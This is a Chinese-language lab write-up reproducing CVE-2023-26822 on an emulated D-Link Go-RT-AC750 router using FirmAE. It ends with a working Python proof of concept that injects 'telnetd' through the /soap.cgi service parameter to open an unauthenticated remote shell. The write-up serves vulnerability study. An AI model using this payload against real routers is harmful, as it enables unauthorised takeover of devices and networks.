D-Link Go-RT-AC750是一款雙頻無線路由器。D-Link Go-RT-AC750在固件版本為revA_v101b03中存在命令注入漏洞,漏洞編號:CVE-2023-26822。未經(jīng)授權(quán)的攻擊者可以請求 /soap.cgi 路由通過攜帶的參數(shù)進(jìn)行命令拼接,從而控制路由器。
1.FirmAE 工具安裝;首先拉取FirmAE 工具倉庫
git clone --recursive https://github.com/pr0v3rbs/FirmAE
運(yùn)行下載腳本;

運(yùn)行./install.sh進(jìn)行安裝

2.下載固件
本文模擬的是設(shè)備型號為Go-RT-AC750,固件版本:revA_v101b03
下載地址:
https://eu.dlink.com/uk/en/products/go-rt-ac750-wireless-ac750-dual-band-easy-
下載后得到GORTAC750_A1_FW_v101b03.bin固件文件

3.FirmAE工具初始化
在FirmAE工具目錄下執(zhí)行./init.sh進(jìn)行初始化

4.安裝binwalk
這里使用FirmAE工具目錄下的binwalk安裝程序進(jìn)行安裝
cd binwalk-2.3.3/
python3 setup.py install

5.模擬運(yùn)行固件
執(zhí)行如下命令對固件進(jìn)行解壓
binwalk -Me /root/GORTAC750_A1_FW_v101b03.bin --run-as=root

執(zhí)行如下命令來模擬運(yùn)行固件
sudo ./run.sh -r GORTAC750 /root/GORTAC750_A1_FW_v101b03.bin
使用瀏覽器訪問http://192.168.0.1,出現(xiàn)如下界面則表明成功模擬了一臺D-Link Go-RT-AC750路由器

POC內(nèi)容如下:
from socket import *
from os import *
from time import *
request = b"POST /soap.cgi?service=&&telnetd -p 4123& HTTP/1.1\r\n"
request += b"Host: localhost:49152\r\n"
request += b"Content-Type: text/xml\r\n"
request += b"Content-Length: 88\r\n"
request += b"SOAPAction: a#b\r\n\r\n"
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
sleep(10)
system('telnet 192.168.0.1 4123')
執(zhí)行POC,成功獲取shell.